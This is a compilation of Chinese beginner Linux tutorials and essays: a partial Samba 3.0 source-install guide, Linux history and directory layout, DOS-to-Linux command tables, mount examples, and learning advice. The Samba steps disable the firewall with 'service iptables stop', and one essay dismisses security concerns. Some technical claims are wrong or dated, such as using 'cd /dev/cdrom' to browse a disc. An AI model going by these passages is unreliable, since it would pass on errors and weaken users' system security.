; 这三条设置的目的是在win机上使用“网络邻居“共享到linux上的文件夹和文件时,显示汉字。
4、增加smb用户
一般linux机子上都有很多用户,比如有一个用户名是rocky,那么:/usr/local/samba/bin/smbpasswd -a rocky,就把rocky增加为smb用户了。
5、启动smb服务
#service iptables stop
#service network restart
#/usr/local/samba/sbin/smbd -D
#/usr/local/samba/sbin/nmbd -D
启动完成,然后到win机上,打开网络邻居,就可以看到linux机子。输入“rocky"和密码,就可以看到linux机子上/home/rocky的文件夹内容了。

最后一步,需要做的就是把smb服务设为开机启动。
vi /etc/rc.d/rc.local,加入/usr/local/samba/sbin/smbd -D
;/usr/local/samba/sbin/nmbd -D 就可以了。
如果启动后修改了smb.conf,重复第5条操作就可以了,不用重启。

安装并不复杂,但还是走了弯路。网上很多此类文章,有四点迷惑人:
一是如果系统里已经有samba旧版本的时候(用rpm -qagrep smaba)由源码安装的samba3.0.24无法启动,所以最好是把旧的卸载掉先(用rpm -evv samba.x.x.x).
一是显示汉字问题。很多文章的设置都是基于samba2.x的,与3.0不同。
二是相关文件存放的路径,如smb.conf,有些说在/etc/下,有的在/usr/sabma下。这一点,其实只要认真看看安装文档就解决了。
三是启动问题,大部分都提到可以/etc/rc.d/init.d/smb start,我看/etc/rc.d/init.d下并没有smb脚本,估计要自己写一个请参考坎坷的samba-3源码安装二:smb 脚本,但把启动放在/erc/rc.d/rc.local我觉得也很方便。
另外,samba安装目录下有一个docs子目录,有一个samba-howto.pdf文档,非常详尽,汉字显示的解决就是看了这个才解决的。
samba有很多详细设置,我刚安装,很多内容有待今后去实践。

linux扫盲+速成

1、什么是Linux?

  准确的说,是指Linux的kernel(系统的核心程序),其内核版权属于Linus Torvalds,在GPL(GNU General Public License)版权协议下发行, 任何人都可以自由的复制(copy), 修改(change), 套装分发(distribute),销售,但是不可以在分发时加入任何限制, 而且所有原码必须是公开的,所以任何人都可以无偿取得所有执行文件和原代码。

  对于Linux用户和系统管理员来说,Linux是指包含Linux kernel、utilities (系统工具程序)以及application (应用软件)的一个完整的操作系统。Linux的应用软件是由自由软件基金会(FSF)开发的,全世界许多热心的程序员为Linux开发或移植了很多应用程序,包括X-Windows、Emacs、TCP/IP网络(包括SLIP/PPP/ISDN)等等,现在Linux(包括内核和大量的应用程序)光是执行程序就已经达到200M,完全安装后的规模将更大(大约500M左右)。

  从本质上讲,Linux是Unix的”克隆”或Unix风格的操作系统,在原代码级上兼容绝大部分的Unix标准(如IEEE POSIX,System V,BSD),它遵从 POSIX规范,例如对于System V来说,把其上程序源代码拿到 Linux下重新编译后就可以运行,而对于BSD Unix来说,它的可执行文件可以直接在Linux环境下运行。

  Linux的标志是可爱的企鹅,至于为什么选用企鹅,Linus是这样说的:别的都被他人用了,企鹅,不是也非常可爱吗?!由Linux作者发布的仅仅是一个内核而己,有一些公司或组织把内核、原代码及相关的应用程序组织在一起发行, 于是就产生了不同的Linux发行(distributor)版本, 比较著名的发行版本有RedHat、SlackWare 、S.u.S.e、Debian 等。

 2、Linux的发展历史?

  Linux的历史可以追溯到1990年,Linus Torvalds还是芬兰赫尔辛基大学的一名学生,最初用汇编语言写了一个在80386保护模式下处理多任务切换的程序,后来从Minix(用于操作系统教学、很小的Unix)中得到灵感,发誓要写一个比Minix更好的Minix,于是开始写了一些硬件的设备驱动程序、一个小的文件系统......,这样0.0.1版本的Linux就出来了,但是它必须在有Minix的机器上编译以后才能玩,这时候的Linus已经完全“走火入魔”了,决定踢开Minix“闹革命”,于是在1991年10月5号发布了Linux 0.0.2版本,这个版本已经可以运行bash(一种用户与操作系统内核通讯的软件)和gcc(GNU C编译器)了。

  Linus从一开始,就决定自由扩散Linux、包括源代码,他把源代码发布在网上,随即就引起爱好者的注意,他们通过互连网也加入了Linux的内核开发工作,一大批高水平程序员的加入,使得Linux达到迅猛发展,到1993年底,Linux 1.0终于诞生。Linux 1.0已经是一个功能完备的操作系统了,其内核写得紧凑高效,可以充分发挥硬件的性能,在4M内存的80386机器上也表现得非常好。

  很多人对Linux的认识有个误区,即总把Linux与低档硬件平台联系到一起,其实从2.1.xx系列内核开始,Linux就开始走高端的路子了,大约在1.3版本之后,开始向其他硬件平台上移植,包括号称最快的CPU---Digital Alpha(目前主频是最高的),目前Linux能将硬件的性能充分发挥出来,可以囊括低端到高端的所有应用。

  Linux加入GNU并遵循公共版权许可证(GPL),由于不排斥商家对自由软件进一步开发,不排斥在Linux上开发商业软件,故而使Linux又开始了一次飞跃,出现了很多的Linux发行版,如Slackware、Redhat、Suse、TurboLinux、OpenLinux等十多种,而且还在增加,还有一些公司在Linux上开发商业软件或把其他Unix平台的软件移植到Linux上来,如今很多IT界的大腕如IBM、Intel、Oracle、Infomix、Sysbase、Corel、Netscape、CA、Novell等都宣布支持Linux! 商家的加盟弥补了纯自由软件的不足和发展障碍,Linux得以迅速普及。


1、如何快速掌握Linux?

  方法是多动手、动脑,学习时要经常与Windows进行对比。建议你先安装RedHat Linux,然后练习如何配置它,如何使用Linux命令,如何在X—WINDOWS下操作,如何在Linux下安装应用软件,如何在Linux下上网、编辑文档、播放多媒体文件、玩游戏等。

  快速上手的方法只有一个,那就是多动手操作,看看你能否完成上面的工作。

2、Linux与Windows有哪些异同点?

  Windows是图形界面的,Linux类似以前的DOS,是文本界面的,如果你运行了图形界面程序X-WINDOWS后,Linux也能显示图形界面,也有开始菜单、桌面、图标等。

  Windows有MS-DOS方式,在该方式下通过输入DOS命令来操作电脑;而Linux与Windows类似,也有命令方式,Linux启动后如果不执行X-WINDOWS,就会处于命令方式下,必须发命令才能操作电脑。另外Linux上也有很多的应用软件,安装运行了这些软件后,你就可以在Linux上编辑文档、图片,玩游戏、上网、播放多媒体文件等。

  不过Linux的分区格式和目录结构,与Windows迥然不同,应用软件的安装方式也不同。

3、安装Linux时的注意事项

  安装前确定好Linux安装在哪个分区,Linux也有系统分区和Swap分区(类似Windows的虚拟分区,即交换文件)两个分区。由于Linux支持的分区格式与Windows分区格式不同,所以如果安装了Linux后,Windows还能继续使用,Linux就应该安装在硬盘分区的最后一个扩展分区;其次Linux的Swap分区必须保证有60MB,系统分区最少要保证240MB;此外安装前搜集好PC硬件方面的信息,特别是显示器信息,这将直接决定你安装Linux后,使用图形界面程序的效果;在安装、使用中输入命令时,请注意大小写。

4、掌握Linux的目录结构

  Linux的目录结构与Windows不同,而且在Windows下看不到Linux的目录,反过来,Linux也看不到Windows下的目录。Linux下各目录的含义如下:

目录名称 意 义
/vmlinuz 该目录中存放的是系统内核
/bin 该目录中存放Linux的常用命令,在有的版本中是一些和根目录下相同的目录。
/boot 该目录下存放的都是系统启动时要用到的程序,当用lilo引导Linux时,会用到这里的一些信息
/dev 该目录包含了Linux系统中使用的所有外部设备,它实际上是访问这些外部设备的端口,你可以访问这些外部设备,与访问一个文件或一个目录没有区别。例如在系统中键入“cd /dev/cdrom”,就可以看到光驱中的文件;键入“cd /dev/mouse”即可看鼠标的相关文件。
/cdrom 该目录在刚安装系统时是空的,你可以将光驱文件系统挂在这个目录下, 例如“mount /dev/cdrom /cdrom”
/etc
该目录存放了系统管理时要用到的各种配置文件和子目录,例如网络配置文件、文件系统、X系统配置文件、设备配置信息、设置用户信息等。
/sbin 该目录用来存放系统管理员的系统管理程序。
/home 如果建立一个名为“xx”的用户,那么在/home目录下就有一个对应的“/home/xx”路径,用来存放该用户的主目录。
/lib 该目录用来存放系统动态连接共享库,几乎所有的应用程序都会用到该目录下的共享库
/lost+found 该目录在大多数情况下都是空的。但当突然停电、或者非正常关机后,有些文件就临时存放在这里。
/mnt 该目录在一般情况下也是空的,你可以临时将别的文件系统挂在该目录下。
/proc 可以在该目录下获取系统信息,这些信息是在内存中由系统自己产生的
/root 如果你是以超级用户的身份登录的,这个就是超级用户的主目录
/tmp 用来存放不同程序执行时产生的临时文件
/usr 用户的很多应用程序和文件都存放在该目录下

5、Linux的常用命令

  如果在Linux命令行模式下遇到不会用的命令,你可以打"man [command]"得到该命令的帮助,如果想知道一个命令有哪些参数,可以打command -help来得到。

  注意:linux中的参数输入形式和dos不一样,在命令后面应该打一个空格,然后打"-",最后再跟一个或多个参数;另外linux下大小写是有区别的!

  下面介绍几个linux下最常用的命令,每个命令都与对应的dos命令作比较,并列出一些常用的参数。

命令参数 意 义
Ls
-a列出系统中的隐含文件,linux下的隐含文件是靠文件名的格式来表示的,不同于dos是靠文件属性来表示,即只要该文件以“.”开头,那么它就是隐含文件。
-l以长式列出。就是把该文件或目录的所有信息都列出来,一个文件占一行
相当于dos下的dir命令,是列文件列表的命令。
cd 和dos下的cd一样,转换目录的命令。 注意:linux下转到上级目录要打"cd .."而不是dos下的"cd..",即"cd"后面要有个空格
pwd 列出当前目录命令,相当于dos下没有参数的cd命令。例如:
[root@ttqq bin]# pwd /usr/bin [root@ttqq bin]# 这表示目前在"/usr/bin"目录下。
Mkdir
-m mode表示建立目录时默认的目录模式。这个是dos和Windows所没有的功能,主要是关于权限的问题。
建立新目录,相当于dos的md命令。一般就用 mkdir [dirname]
rmdir 删除目录,相当于dos的rd命令。
用法:rmdir [dirname]
cat 在文件后面追加文件,或在屏幕上打印文件内容,追加功能相当于dos的copy file1+file2,而在屏幕上打印文件内容可以和dos的typeml来类比。如果文件太大,在一屏上无法完全显示,则可用more命令
more 分屏显示文件内容,和dos下的more命令大致相同,但它可以和别的命令搭配使用。如:cat /home/eec/myfile | more。
cp

-r相当于dos的xcopy/s。用于拷贝一个目录下的所有子目录和文件 拷贝文件,相当于dos下的copy,使用方法与dos下的copy一样。

=======================================

系统安装: Linux快速入门

不少初学者都觉得Linux操作系统难用,现特将Linux中的基本操作与DOS操作系统中相似的操作对照比较如下,以让大家尽快入门


[一、基础知识]
1、[系统安装]
Linux的安装时,使用Tab、箭头、空格、回车等键做出选择。Linux一般须安装在单独的分区下,为避免Windows系统中的注册表、快捷方式路径出错,最好安装在硬盘的最后一个分区。即将最后的一个分区删除后,用分区软件(建议用Pqmagic)分为Linux Native(根分区)和Linux Swap(数据交换区),如果您的硬盘大于8G,您的Linux root分区应安装在前8G之内(linux 根分区终止扇区 <1023 柱面)。Native分区一般要大于240MB,具体大小视安装的Linux组件决定,建议不要大于2G。Swap分区必须有60MB以上。安装前要搜集好您的硬件信息如:CPU、内存、显示器、显卡、鼠标、键盘等。Linux的版本有很多,而且不断更新,根据提示安装一般都可顺利完成。

2、[登陆进入]
默认安装,启动后在出现的Lilo boot:之后输入Linux(或回车),Linux便开始启动,当出现登陆提示符Login:时,输入用户名,然后出现口令提示符password:输入口令。可进入相应的用户环境。如输入:root,及其密码,可进入超级用户环境#,输入其他用户名及口令,可进入该用户环境$(当然由于版本的不同还可能是%等)。

3、[关闭系统]
在超级用户提示符#下输入halt(立即关机)或shutdown [time](延迟time分后关机,给各用户每隔一段时间发出还有多长时间将关机的警告)后,计算机将进行一系列的关机工作,最后出现System halt时,表示可以关闭电源了。非超级用户则需用exit命令退出操作环境,再用超级用户:root登陆,才能执行关闭操作。

4、[注意事项]
与DOS不完全相同的地方:

  DOS Linux 备注
命令行字母 不区分大小写 区分大小写 在Linux中,超级用户的系统提示符是#,一般普通用户的系统提示符是$,普通用户的系统提示符也同DOS一样可以更改。通配符中*、?与DOS中的含义相同,[]是仅包括括号内的符号,连续的符号可用“-”连接首尾的符号代替,如[12345678]可以用[1-8]代替,[abcdefijk]可用[a-fi-k ]表示。
路径分隔符 /
提示符 > #、$
通配符 *、? *、?、[]

5、[文件类型]
与DOS、Windows不同,在Linux系统中,目录和设备都被视为文件,共有四种文件类型,它们是:⑴普通文件,即我们通常所说的文件,在长列目录方式时行首前用一符号“-”表示。⑵目录文件,即我们通常所说的目录,在长列目录方式时行用首前用一字母“d”表示。⑶字符设备文件,如显示器、打印机、终端等,在长列目录方式时行首前用一字母 “c”表示。⑷块设备文件,如硬盘、软盘、光盘在长列目录方式时行首前用一字母“b”表示。在Linux中用长格式列目录命令ls -l时,例如:

-rwxrw-r-- 5 user group 1089 Nov 18 1998 filename
存取权限 用户 组名 字节数 最后修改时间 文件名

DOS下的文件名是8.3格式的,Windows95以后开始支持长文件名,Linux支持长文件名。在DOS下扩展名是com、exe或bat的文件为可执行文件,但在Linux中文件类型只能通过文件属性得知,用命令ls –F可区分目录和文件,后有“/”符号的为目录,后有“*”符号的为可执行文件,用ls –aF可列出所有的文件和目录,包括隐藏的文件和目录,文件名以点号“.”开头的为隐藏文件。

6、[读取权限]
在Linux中,文件的主人称所有者,其他使用者分别称为同组者、其他人,为保证各用户文件的安全,Linux继承了UNIX的作法,通过设定存取权限,限制某些用户对文件的随意存取。共有三个级别的存取权:读权r、写权w、执行权x。在存取权中共有九个字符的位置其顺序是:所有者、同组人、其他人。在上例中分别表示:主人对文件拥有读写权和执行权,同组人对文件拥有读写权、其他人对文件只拥有读权。

7、[使用帮助]
在Linux中,您只要在命令行中打上man command(您要看帮助的命令),就可以得到该命令的在线帮助。man有一套它自己的命令,通常由单个键组成,按空格键和F键将翻到下一页,按B键翻到上一页,按Q键退出man,回到命令行。

[二、文件管理和目录操作]
1、[文件管理]

功能 DOS Linux 备注
显示文件内容 type、more cat、more type、cat是全部显示,more是分页显示
拷贝文件 copy cp
移动文件及改名 move mv
删除文件 del、erase rm
打印文件 print lpr

2、[目录操作]

功能 DOS Linux 备注
列目录及文件 dir/选项 ls –选项 在Linux中cd/是直接返回登录时的目录而不是根目录
显示当前目录 cd pwd
变更工作目录 cd目录 cd/目录
建立目录 md、mkdir mkdir
删除目录 rd、rmdir rmdir
目录更名 move mv
拷贝目录 xcopy copy

据说很多DOS命令都是借鉴UNIX的,而Linux又是从UNIX发展起来,故DOS和Linux命令的格式很相似,只是Linux的命令的功能更加强大,各选项、参数有较大区别,具体运用时可使用帮助命令。

[三、外存储器的使用]
在Linux中一般不能直接访问软盘、其他硬盘逻辑分区、光盘等,在Linux中它们都被视为文件,在使用前必须使用装载命令mount将它们装载到系统的/mnt目录中,使用结束后还须卸载。命令格式如下:

mount –t 文件系统类型 设备名 装载目录

常用的文件类型有:
msdos dos分区文件
vfat 支持长文件名的dos分区
ext2 Linux的文件系统
swap Linux swap分区或swap文件
iso9660 安装CD-ROM的文件系统
hpfs OS/2分区文件系统

设备名是指要装载的设备的名称,如软盘、硬盘、光盘等,软盘一般为/dev/fd0 fd1,硬盘一般为/dev/hda hdb ,硬盘逻辑分区一般为期hda1 hda2…等等,光盘一般为/dev/hdc。在装载前一般要在/dev/mnt目录下建立一个空的目录(名字自拟),如软盘可为floppy,硬盘分区可为其盘符如c、d等等,光盘可为cd-rom,个体使用例子:

装载一个mddos格式的软盘:mount –t msdos /dev/fd0 /mnt/floppy
装载一个Linux格式的软盘:mount –t ext2 /dev/fd0 /mnt/floppy
装载Windows98格式的硬盘分区(C盘):mount –t vfat /dev/hda1 /mnt/c
装载一个光盘:mount –t iso9660 /dev/hdc /mnt/cd-rom

装载完成后便可对该目录进行操作,在使用新的软盘及光盘前必须退出该目录,使用卸载命令umount卸载,才可以使用新的软盘及光盘,否则系统会不承认的,光盘在卸载前是不能用光驱面板前的弹出键退出的。

以上只是Linux基本的知识,不过相信您掌握后便已快速步入Linux了之门,进一步深入学习其他Linux知识了应该不成问题了。

基于Linux的学习方法

基于Linux的学习方法
2001-01-08 21:39:37· 魏星·CPCW
--------------------------------------------------------------------------------

关于我:

  我是一名普通的计算机软件人员,接受过普通的计算机科学教育,有6年工作经验,由于工作原因接触过的系统包括DOS、Windows、Windows NT、Digital UNIX、VMS、Linux、IRIX,在一个比较封闭但是比较安静的环境里自学使用Linux两年多的时间,使用过程中逐步系统了自己的计算机观点,清楚了许多在多年以前老师没有讲清楚或是自己没有想清楚的东西,同样也试着把自己的一点经验和同事们进行探讨,具备一定的Linux支持的经验,自我感觉学习Linux的过程给了我一笔非常宝贵的财富,是一个非常明智的决定。

目的:

  一直有一种想法,就是把自己的学习经验和别人进行探讨,让别人不要重复自己的错误,在学习和使用Linux的过程中少走弯路,以一种比较轻松的态度来对待Linux系统,并且我也希望能够为新手提供指路,希望有一天我们的大学生中也能够出现几个象Linus一样的程序员,实际上,中国有足够的人是应该能够做到这点的,对于国家有这样的程序设计人员或是振臂一呼应者如云的工程管理人员是一件幸事。

  GNU/Linux的学习实际上是一个不断实践的过程,根据自己的需要不断地选择系统中的软件根据其相关文档在系统中付诸实施的过程,制定一个自己满意的目标可能效果更好。参考的目标可能以学习为主更好,倘若你有一定的基础制定一个基于GNU/Linux系统解决方案也不错;参考的应用范围开始以作为服务器运行更好,而不是作为和Windows 95一样的作桌面系统,比较理想的环境就是有一台Windows95的机器作为客户端而把Linux作为服务器,我接触Linux很偶然完全是想看一看免费的UNIX的样子,学习Linux是的目标开始很简单,就是实现类似于Windows NT中的IIS的功能。

  我把GNU/Linux的学习分为以下三个部分,并根据自己的经验提出注意的事项。

  1、系统安装

  对于熟悉Windows环境的人来说GNU/Linux的安装是一个非常痛苦的过程,对于安装过程中遇到的问题足以让许多闻风而动的人放弃了GNU/Linux的使用。安装过程中比较典型的问题是硬件不支持,如声卡和显示卡,其中显示卡的问题一般是希望安装X-WINDOW环境而引起的,并且常常引起系统重启或安装失败。所以,我给大家的第一个提示就是可以考虑不安装X-WINDOW软件包; 其次如果你不是使用的Sound ast系列的声卡,可以考虑不安装声卡;如果你的网络卡不识别可以考虑更换一块廉价的NE2000兼容网络卡,保证网络的正常工作对于调试客户/服务器方式的应用程序是必须的,网络服务启动成功但不能正常访问多是由于缺省的路由(default route)没有指定为网卡的地址引起。由于现在的硬件制造商还没有普遍提供Linux下的驱动程序,所以希望提供象Windows环境一样的硬件兼容的确有些困难。另外,建议做好可能要数次格式化硬盘的准备,实际上当你使用Linux系统一段时间后,就会发现以前频繁格式化硬盘实际上是错误的。当然,由一个具有Linux使用经验的人进行指导安装是最好的选择。同样,有一本关于Linux系统指南的手册是入门时不错的参考,不过不用太厚的著作因为许多的著作涉及的软件介绍实际多是对软件文档的复制,最好的文档实际就在你的/usr/doc目录下,当然其文档主要是英文不过都不是太深奥,毕竟很多软件的作者并不是用英文作为母语,并且开始是可以从/usr/doc/HOWTO开始,如可读性极强的《DOS-TO-Linux HOWTO》《NET-3-HOWTO》等文档。在不熟悉UNIX命令的情况下,可以使用一个类似pctools的软件mc,通过他你可以完成许多的文件操作,如文件的浏览、编辑、删除等,当然熟悉UNIX的基本命令可能是开始时的主要工作,UNIX的命令有一个比较特殊的地方就是有太多的选择项,其实开始只要会它的基本功能就行。系统的安装和配置是一个不断积累经验的过程,急于求成可能效果不好,和Windows入门容易深造难刚好相反Linux是入门困难而深造容易。

  2、系统管理

  由于Linux是一个多用户多任务的操作系统,系统管理对于在Windows 95环境下的用户可能是一个陌生的事情,在熟悉了基本的文件操作命令之后就可以考虑进行系统管理,系统管理的工作主要分为用户管理、资源管理、软件安装、服务配置和网络。当你使用linuxconf进行系统管理时,你会发现他许多真正优秀的地方。系统管理是相通的,只要是多用户的系统都存在这样的问题,实现的方法也是大同小异,通过linuxconf进行管理实际是调用了许多的UNIX命令,就象mc一样。Linux的通常使用的命令一般放在/usr/sbin、/usr/bin、/sbin、/bin目录下,可以抽点时间看看到底他们都包含了些什么东西,并且使用man 看一下他该怎么使用。资源管理的一个特色是文件系统的限额功能,这是UNIX系统普遍具有的功能而在微软的Windows NT 4没有实现的功能。软件安装实际就是使用RPM软件或是直接使用tar,其中RPM包格式的软件更容易安装和使用。我对服务的理解是系统的驻留程序,要配置Linux的各种服务需要了解涉及的程序和多半在/etc目录下配置文件的作用,/etc目录和Windows的注册表文件类似,包含了系统启动和相关软件的配置信息,在集中管理方面应该说Windows做得更好,不过/etc的文件多半是文本文件,你可以使用编辑器打开他们,其中很多文件里包含了详细的配置帮助,配置服务的过程有时可能就是去掉它的注释符号,实际上Linux下的服务和商用UNIX提供的服务很相似。和在Windows环境相比,最好的是一般修改一个服务后不需要重新启动系统,而只是重新启动该服务。网络是Linux给我最多收获的部分,由于Linux是一个互联网上诞生的系统,支持完整的TCP/IP网络协议族,其网络应用软件非常丰富,并且很多网络应用软件都系出名门且广泛使用,如BIND、apache、wu-ftp、sendmail、telnetd、NFS、NIS等,并且有非常完备的文档和例子支持,通过配置其网络服务你可以深入了解TCP/IP协议,构造一个非常不错的内部网环境,相关的文章比较多,在此便不再赘述。同样,支持Linux的大型关系数据库也不少,目前各大数据库厂商(Oracle、Sybase、Informix)为了对抗微软的操作系统垄断,均将产品向Linux移植,主要的目的是为大家提供使用和学习的机会,他们对一般对产品的限制是不能应用于商业领域,同时支持Linux的免费数据库系统也不少如PostgreSQL、MySQL等,由于SQL数据库涉及数据的并发控制、安全管理、备份等问题,掌握它能够让你在管理员的角度思考你的数据共享的问题,并且SQL作为一个标准其通用性较强,所以把Linux作为一个数据库服务器平台是很理想的。同时,将数据库和Web服务器结合起来,利用PHP3或是其他的CGI工具便能够实现一个基于Web的数据库环境,并且是能够被你自由控制的环境。

  3、程序设计

  目前GNU/Linux系统是一个为程序员提供的操作系统和编程环境,因为其操作系统核心源代码和应用软件的源代码都是公开的,并且你可以根据你的爱好选择编程语言,你可以通过大量的应用软件源代码理解进程、线程、文件、设备、网络、RPC、IPC等原来比较抽象的概念。和Windows环境下的可视开发环境相比,Linux下的编程可能会困难一些,但是如果只是完成特定的服务端应用,就比较简单和高效,你开了集成环境可能需要的是多开几个虚拟控制台,方便对库函数的参考。由于应用软件主要是C语言程序,有C语言基础是比较好的,并且应用软件的注释都比较好,可以比较方便地修改。当然,用JAVA也比较好,可以充分享受其跨平台的优势,还有就是可以使用以前只是听过而没有用过的Ada、Lisp等语言。基于GNU/Linux的程序设计可以让你充分感受选择的自由,没有必要大家都去研究核心程序,毕竟计算机是工具,能够为具体应用服务才是计算机软件人员的职责,仅有系统核心也是不够的。不过,在Linux下编写驱动程序不是象想象的那么困难,原因主要是我们的设计者为我们提供了详细的指南,感受最深刻的是在/usr/src/linux/drivers/net/skeleton.c程序,它描述了网卡驱动程序的框架,并且相关的文档非常多如KHG等,相比Windows就更为开放和容易。我不是程序设计的高手,通过GNU/Linux的使用知道一些有用的方法,学会了欣赏别人的程序,如果让我做一个程序我的第一步可能就是找到相关的程序并查看他们的编程方法。同样,如果能够真正使用互联网,你可以发现更多的程序设计的参考。

  两年的实践给了我一种驾驭系统的轻松,因为我知道很多东西没有想象的那么难以接受,最重要的是"try again"。实际上,你能够真切地感受到各种系统是相通的,如同水是相通的一样;学习不应该是一种负担,而是根据自己的实际情况去解决实际的问题,兴趣是一种不可忽视的因素。我想象不出如果能够根据大学计算机专业的课程设置,同步提供Linux的实践,那么我们的大学生在毕业时会有怎样的技术水平?同样,我们的高校可能会有更多一些的可以为普通人接受的软件,而不是只是培养专家的科研成果,或是寥寥千套的获奖操作系统。没有理论的实践是盲目的,没有实践的理论是空洞的,而计算机软件是需要理论和实践紧密结合的。
1、不要“玩 Linux” 很多人用 Linux 的时候会感觉很迷茫,该用哪个发行呢?是不是我少装了什么?怎么升级这么快啊!怎么这么不稳定!每当遇到新的软件他就想试用,每当新的版本出现,他就更新,然后用鼠标在新的菜单里选择从来没见过的程序来用用。

其实你是为了Linux而使用Linux,而没有找到正确的理由来利用 Linux。你首先要明确用电脑的目的,你用它是为了解决你的实际问题,而不是为了学习安装操作系统,不是为了测试哪个版本好用,不是为了“赶上潮流”,更不是因为你硬盘太大了,你想多占点空间。

如果你启动了电脑之后不知道应该干什么,那么最好先不要用电脑,因为你可能有更重要的事情需要做。

2、不用挑剔发行版本

很多人刚开始用 Linux 的时候,总是在怀疑别的发行版本是否比自己正在用的这个好,总是怀疑自己以后时候会失去支持,不得不换用别的发行。所以很多人今天是 Redhat,明天又换成了 debian, 一会儿又是 gentoo, …… 甚至有的人在一台机器上装了两个版本的 Linux,然后比较哪一个好。

其实你完全没有必要这样做,任何发行,只要你熟悉了,你在上面的工作方式几乎是不会受到任何影响的。你常常听说 Debian 的更新比 Redhat 快,包比 Redhat 多,但是你可以比 Debian 更新还要快,直接到你需要的程序的主站点下载源码来编译就是了。

Debian, TurboLinux, SuSE, Redhat, Gentoo, ... 任何一个版本都是不错的。

3、不要当“传教士”

很多人在讨论区不断的引起 "Linux vs. Windows" 之类的讨论,甚至争的面红耳赤,这是没有必要的。因为各人的需要不同,生活的环境不同,你不可能得到一个定论。我们需要尊重别人的选择,这是你在进行任何对工具的讨论前需要提醒自己的事情。面对一些容易引起争论的东西:Word 和 TeX;Emacs 和 VIM;MAXIMA,Mathematica 和 Maple;Gnome,FVWM 和 KDE;Mutt 和 Pine …… 一定要冷静。

你需要关心的不是你的工具是什么,而是你用它做了什么。精通 Linux 并不说明任何问题,因为它只是一个工具而已。如果你用 Windows 能很好的完成你的任务,那你就没有必要费时间去熟悉 Linux。直到有一天你发现一项任务只有 Linux 才能完成的时候再换也不迟,因为你身边的 Linux 的爱好者一定会很乐意的帮助你。

并不是喜欢一种东西就必须反对其它的。世界需要多样性,人们都需要FUN。用自己的兴趣去压制别人的,就会毁掉所有的兴趣。个人喜欢什么就用什么,完全没必要为这个争论。

不要做“传教士”!你说我现在就是在“传教”?冤枉啊~

4、直接从源码安装程序

很多人放着最新的源码不用,等着有人帮他做出 rpm, deb, 才能安装。我说你为什么不用源码编译,这样版本比 rpm 高的多,有很多新功能,而没有烦人的依赖关系。可是他说:“要是我用源码编译安装,卸载的时候就不方便了,会留下很多垃圾。”

为什么程序还没有安装你就想到卸载?难道你不知道这个程序是用来做什么的?你应该改变到处找程序来试用的作法,而应该先了解一下到底那些程序有同样的功能,听听别人的意见,看看它们各有什么长处和短处,然后挑一个最适合你的程序来用。

从源码编译安装程序,不但比你装rpm更适合自己的机器设置,而且它们一般会装到 /usr/local 目录,这样你以后如果换硬盘重装系统,也可以把以前 /usr/local 下的程序原封不动拷贝过去用。我的 /usr/local 下有 2G 之多的程序,你想要是我有一台新机器要重新安装,然后配置,得花费多少时间?实际上我曾经通过网络把它们传到一台新机器上,然后就出去吃晚饭,回来时我就得到了另一台一摸一样的 Linux 机器。

确实要卸载 make install 的程序怎么办呢?答案是直接删掉。别以为直接删掉程序会留下垃圾,引起“系统不稳定”。(btw: 这是谁教你的啊?呵呵。) make install 无非就是把可执行程序放在 /usr/local/bin, 把某些函数库放在 /usr/local/lib,把数据文件放在 /usr/local/share 下一个它自己的目录,你把这些东西都删掉就行了,不会留下垃圾,即使真的留下一点文件没有删掉也占不了多少空间,更不可能引起系统不稳定。UNIX 就是这么简单

但是有几个程序不建议从源码安装,它们是 Mozilla, Open Office, ... 它们编译时会占用你几个G的空间和好几个小时的时间,这种花费我觉得是不值得的,因为你不能从编译得到更多好处,不如直接安装编译好的版本。

5、不要盲目升级

不知道这是心理作用还是什么,有的人看到比较大的版本号,就会很想换成那个。很多人的 Redhat 本来配置的很舒服了,可是一旦 Redhat 发行新的版本,他们就会尽快下载过来,然后选择升级安装。结果很多时候把自己原来修改得很好的配置文件给冲掉了。新的软件又带来了新的问题,比如有一次我的 rxvt 升级到 2.7.8 就跟 miniChinput 冲突了,升级到 Redhat 8.0,发现 xmms 居然缺省不能放mp3了,XFree86 的 xtt 模块在 I810 上有新的 bug,会导致 Mozilla 突然退出。

如果你已经配置好了一切,千万别再整体升级了,这会浪费你很多很多时间的,不值得。如果需要的话,你可以只把某些部件升级,比如内核,glibc, gcc, XFree86,...

使用 UNIX 的经典程序

好的程序一般都是可以很方便的在很多种 UNIX 上移植的,bash, VIM, Emacs, Mutt, FVWM, xterm, 都是这样。如果你用这些程序,你就可以在 Sun, HP, ... 等工作站上也装上,这样你在各种机型上的工作环境就几乎完全一样了!你不需要在 Sun 上面用 CDE,在PC上又换成 KDE,在它们上面都装一个 FVWM,使用相同的配置文件,就能得到一致的界面。

这些程序大部分都是久经考验的,是经过很多人多年开发的结果。它们功能完善,各种情况都考虑周全,绝对是你的好助手。

6、不要配置你不需要的东西

如果你只想做一个像我这样的普通用户,主要目的是用 Linux 来完成自己的科研任务和日常工作,那就可以不用系统管理员或者网络管理员的标准来要求自己,因为当一个系统和网络管理员确实很辛苦。普通用户学习那些不经常用到的复杂的维护系统的工具,其实是浪费时间,学了不用是会很快忘记的!

我不是一个合格的网络管理员,我的服务器都只设置了我自己需要的功能,设置好 ssh, ftp 已经足够了,那样可以省去我很多麻烦。我从来不过度考虑“安全”,因为 Linux 缺省已经很安全了。我没有磁带机,就不用管 tar 的那些稀奇古怪的参数了,czf, xzf, ztf 已经可以满足我所有的需要。sed, awk, ... 我也只会几种常用的命令行。

7、不用忙着看内核源码

除非你想研究操作系统,否则还是先把怎么使用 Linux 掌握好再说吧。我以前看了那么多内核源代码,写了驱动程序,结果最后发现我还是一只很多事情不能用 Linux 解决的菜鸟 吸取我的教训吧,你应该首先掌握 shell,Xwindow 的使用和原理,它们可不比内核简单。

Linux以及各大发行版介绍

出处 http://www.noobu.com 作者:沧蓝 欢迎转载,请注明出处与作者,谢谢
本文的完美排版版本:http://www.noobu.com/0502_linux_intro.html

2005-9-4 鉴于原图片链接失效,月下刀客重新编辑本文所有图片链接,特此说明。

什么是Linux?

也许很多人会不屑的说,Linux不就是个操作系统么。错!Linux不是一个操作系统,严格来讲,Linux只是一个操作系统中的内核。内核是什么?内核建立了计算机软件与硬件之间通讯的平台,内核提供系统服务,比如文件管理、虚拟内存、设备I/O等。

既然Linux只是一个内核。那么我们通常所说的Linux操作系统又是什么?我们通常所说的Linux,指GNU/Linux,即采用Linux内核的GNU操作系统。是的,操作系统的实际名称是GNU。什么是GNU?GNU代表GNU’s Not Unix。可以说是一个操作系统又可以说是一种规范。比如,众所周知的PHP,原名为Personal HomePage(个人主页),根据GNU的软件命名规则,PHP现已更名为PHP: Hypertext Preprocessor(超文本预处理程序)。


谁编写/创造了Linux?

